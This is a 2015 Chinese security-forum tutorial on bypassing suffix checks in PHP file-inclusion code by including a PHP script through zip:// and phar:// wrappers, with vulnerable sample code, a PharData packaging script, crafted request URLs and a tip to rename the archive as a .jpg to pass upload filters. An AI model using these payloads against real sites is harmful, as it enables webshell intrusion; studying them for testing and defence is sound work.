搜索
查看: 299|回复: 0

通过zip或phar协议包含文件

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2015-6-6 10:22:07 | 显示全部楼层 |阅读模式
这个方法适用于验证包含文件为特定后缀时。
例如以下代码
  1. <?php
  2. $file = $_GET['file'];
  3. if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
  4.     include($file);
  5. }
  6. ?>

  7. <?php
  8. $file = $_GET['file'];
  9. include($file.'.jpg');
  10. ?>
复制代码


上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是\x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。


zip://

首先我们新建一个zip文件,里面压缩着一个php脚本。

然后我们构造zip://php.zip#php.jpg

http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

这样就成功shell了。当然在实际情况下,可能只允许上传jpg文件,那你就把zip改jpg然后继续上传。

phar://

首先我们要用phar类打包一个phar标准包
  1. <?php
  2. $p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
  3. $x=file_get_contents('./php.php');
  4. $p->addFromString('a.jpg',
  5. $x);
  6. ?>
复制代码


会生成一个zip的压缩文件。然后我们构造

http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

也可以直接shell

其中phar适用范围为php>5.3.0

以上的这种包含方式在这样的情况下是无效的。
include(一个规定的路径+可控点+后缀)




第二种情况直接这样http://127.0.0.1/file.php?file=zip://php.zip%23php 就行了

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表